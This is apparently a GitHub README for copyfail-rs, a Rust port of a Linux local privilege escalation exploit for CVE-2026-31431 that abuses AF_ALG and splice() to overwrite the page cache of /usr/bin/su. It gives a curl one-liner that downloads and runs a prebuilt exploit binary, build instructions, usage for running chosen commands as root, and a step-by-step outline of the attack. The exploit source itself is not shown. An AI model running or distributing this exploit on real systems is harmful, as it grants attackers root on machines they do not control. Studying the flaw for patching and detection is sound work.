copyfail-rs

Copy Fail exploit (CVE-2026-31431) but in Rust, a critical vulnerability chaining AF_ALG and splice() to achieve a 4-byte page cache write, leading to local privilege escalation on major Linux distributions.

Based on the research and PoC by Xint Code.

Disclaimer

[!CAUTION] This project is for educational and research purposes only. Running this exploit on systems you do not own or have explicit permission to test is illegal and unethical. Use this code responsibly to understand and defend against similar vulnerabilities.

Features

• Pure Rust: A high-performance, memory-safe implementation of the original Python PoC.
• Dynamic ELF Builder: Programmatically constructs the exploit payload at runtime, allowing for custom commands.
• Zero-Copy Exploitation: Directly interacts with the Linux kernel's AF_ALG and splice() syscalls via libc.
• Customizable: Specify the command you want to run as root via CLI arguments.

Quick Start (One-liner)

You can download and run the pre-compiled PoC binary directly:

curl -L https://github.com/sammwyy/copyfail-rs/releases/download/poc/copyfail-rs_x86-64 -o copyfail-rs && chmod +x copyfail-rs && ./copyfail-rs

Prerequisites

• A Linux kernel vulnerable to CVE-2026-31431 (typically kernels before the patch in April 2026).
• Access to a target binary with read permissions (default is /usr/bin/su).

Installation

Clone the repository and build the binary:

git clone https://github.com/sammwyy/copyfail-rs.git
cd copyfail-rs
cargo build --release

Usage

Run the exploit without arguments to default to /bin/sh:

./target/release/copyfail-rs

Or specify a custom command to run as root:

./target/release/copyfail-rs "whoami > /tmp/pwned"

How it Works

The exploit leverages a bug in the authencesn implementation within the Linux kernel's Crypto API (AF_ALG). By chaining sendmsg with MSG_MORE and splice(), it's possible to overwrite small chunks of the page cache for arbitrary files (like /usr/bin/su) with a malicious ELF payload.

1. Socket Setup: Creates an AF_ALG socket and binds to authencesn(hmac(sha256),cbc(aes)).
2. Payload Generation: Constructs a minimal ELF in memory that executes the target command with root privileges.
3. Cache Injection: Iteratively splices the payload into the target file's page cache using the AF_ALG vulnerability.
4. Trigger: Executes the modified target file, running the injected shellcode.

References

• Original Blog Post - Xint Code
• CVE-2026-31431 Details